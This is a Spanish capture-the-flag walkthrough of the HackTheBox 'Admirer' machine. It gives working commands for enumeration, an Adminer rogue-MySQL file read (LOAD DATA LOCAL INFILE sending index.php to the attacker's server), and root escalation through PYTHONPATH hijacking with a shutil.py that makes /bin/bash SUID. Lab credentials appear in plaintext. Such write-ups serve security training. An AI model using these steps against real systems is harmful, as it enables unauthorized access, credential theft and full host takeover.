HackTheBox - Admirer
Máquina Linux de nivel Easy de HackTheBox.
Técnicas usadas: Adminer 4.6.2, Python Path Hijacking
Fase de Reconocimiento 🧣
a. Enumeramos los puertos que están abiertos en la Máquina Admirer
b. Vemos las versiones de los servicios que se están ejecutando en los puertos.
c. Visitamos el sitio web
Al no encontrar algo interesante, fuzzeamos en busca de archivos o directorios con nmap
1 2 3 4 5 6
root@kali> nmap -p80 --script http-enum 10.10.10.187 PORT STATE SERVICE 80/tcp open http | http-enum: |_ /robots.txt: Robots file
En el archivo
robots.txt
vemos el siguiente mensaje1 2
# This folder contains personal contacts and creds, so no one -not even robots- should see it - waldo Disallow: /admin-dir
Como nos dicen que existe un archivo con credenciales, buscamos por nombres de archivos como
creds.txt
ocredentials.txt
URL: http://
/admin-dir/credentials.txt 1 2 3 4 5 6 7 8 9 10 11
[Internal mail account] w.cooper@admirer.htb fgJr6q#S\W:$P [FTP account] ftpuser %n?4Wz}R$tTF7 [Wordpress account] admin w0rdpr3ss01!
d. Nos autenticamos con las credenciales antes encontradas en el servicio FTP
1
2
3
4
5
6
7
root@kali> ftp 10.10.10.187
Name (10.10.10.187:kali): ftpuser
Password: %n?4Wz}R$tTF7
230 Login successful.
ftp> dir
-rw-r--r-- 1 0 0 3405 Dec 02 2019 dump.sql
-rw-r--r-- 1 0 0 5270987 Dec 03 2019 html.tar.gz
Descargamos los anteriores archivos con
get <Archivo>
Ahora los analizamos y encontramos muchas credenciales, un usuario válido waldo, una estructura en SQL y un directorio utility-scripts
index.php
1 2 3 4
$servername = "localhost"; $username = "waldo"; $password = "]F7jLHw:*G>UPrTo}~A"d6b"; $dbname = "admirerdb";
dump.sql
1
-- Table structure for table `items`
utility-scripts
1 2 3 4 5
[ 4096] utility-scripts ├── [ 1795] utility-scripts/admin_tasks.php ├── [ 401] utility-scripts/db_admin.php ├── [ 20] utility-scripts/info.php └── [ 53] utility-scripts/phptest.php
e. Fuzeamos por archivos .php en este directorio
1
2
3
root@kali> wfuzz -c -t 100 --hc=404 -w /usr/share/seclists/Discovery/Web-Content/big.txt http://admirer.htb/utility-scripts/FUZZ.php
000001874: 200 51 L 235 W 4157 Ch "adminer"
- Visitamos este servicio, pero, ninguna de las credenciales antes encontradas funcionará por lo que buscamos por vulnerabilidades asociadas a este servicio - Artículo
Configurando el entorno 🎋
Modificamos el fichero /etc/mysql/mariadb.conf.d/50-server.cnf
1
bind-address = 0.0.0.0
Hacemos que nuestro servidor sea accesible desde cualquier dirección IP.
Ahora, crearemos un nuevo usuario admirer:admirer que tenga total acceso a la base de datos admirerdb que tendrá una tabla items
1 2 3 4 5 6 7 8 9 10 11 12 13
root@kali> mysql MariaDB [(none)]> CREATE USER admirer@<tun0 IP> IDENTIFIED BY 'admirer'; MariaDB [(none)]> CREATE DATABASE admirerdb; MariaDB [(none)]> use admirerdb; MariaDB [(admirerdb)]> CREATE TABLE items(id VARCHAR(10), name VARCHAR(255), PRIMARY KEY(id)); # Damos total acceso al uusario **`admirer`** sobre la base de datos **`admirerdb`** y le decimos que se # podrá conectar desde cualquier dirección IP. MariaDB [(admirerdb)]> GRANT ALL PRIVILEGES ON admirerdb.* TO admirer@'%' WITH GRANT OPTION; # Recargar los privilegios de MySQL MariaDB [(admirerdb)]> FLUSH PRIVILEGES;
g. Ahora, desde adminer.php nos conectamos a nuestro servidor
Los datos que captureremos son las credenciales del usuario waldo que están alojadas en el fichero index.php (Esto se vió al descomprimir el fichero html.tar.gz), podremos leer este archivo con ayuda de Wireshark
Primero, nos pondremos en escucha por la interfaz de red tun0 y en Adminer ejecutaremos la siguiente sentencia SQL
1 2
LOAD DATA LOCAL INFILE '/var/www/html/index.php' INTO TABLE test FIELDS TERMINATED BY '\n'
Ahora en Wireshark veremos los datos que hemos recibido
h. Con estas credenciales nos podemos conectar al servicio SSH
1
2
root@kali> ssh waldo@<Admirer IP>
waldo@admirer:~$
Escalada de Privilegios 💹
a. Listamos nuestro privilegios a nivel de sudoers
1
2
3
4
waldo@admirer:~$ sudo -l
[sudo] password for waldo:
User waldo may run the following commands on admirer:
(ALL) SETENV: /opt/scripts/admin_tasks.sh
- Al inspeccionar el script vemos que si seleccionar la opción
6) Backup web data
se usa un scriptbackup.py
1 2 3 4 5 6 7 8 9
backup_web(){ if [ "$EUID" -eq 0 ] then echo "Running backup script in the background, it might take a while..." /opt/scripts/backup.py & else echo "Insufficient privileges to perform the selected operation." fi }
Inspeccionamos el script backup.py
1 2 3 4 5 6 7 8
#!/usr/bin/python3 from shutil import make_archive src = '/var/www/html/' # old ftp directory, not used anymore #dst = '/srv/ftp/html' dst = '/var/backups/html' make_archive(dst, 'gztar', src)
Si nos fijamos bien el permiso sudoers, vemos SETENV esta directiva nos permite indicar una variable de entorno para cargar algo Hacktricks - SETENV
- En este caso podemos cargar la librería shutil desde donde le indiquemos
b. Creamos un fichero ‘shutil.py’ en /dev/shm con el siguiente código
1
2
import os
os.system("chmod +s /bin/bash")
Ahora ejecutamos /opt/scripts/admin_tasks.sh como root, escogeremos la opción 6) Backup web data y le indicamos la dirección de nuestro shutil.py
1 2 3 4 5 6 7 8
waldo@admirer:/dev/shm$ sudo PYTHONPATH=/dev/shm /opt/scripts/admin_tasks.sh <SNIP> Choose an option: 6 waldo@admirer:/dev/shm$ ls -la /bin/bash -rwsr-sr-x 1 root root 1099016 May 15 2017 /bin/bash waldo@admirer:/dev/shm$ bash -p bash-4.4# whoami root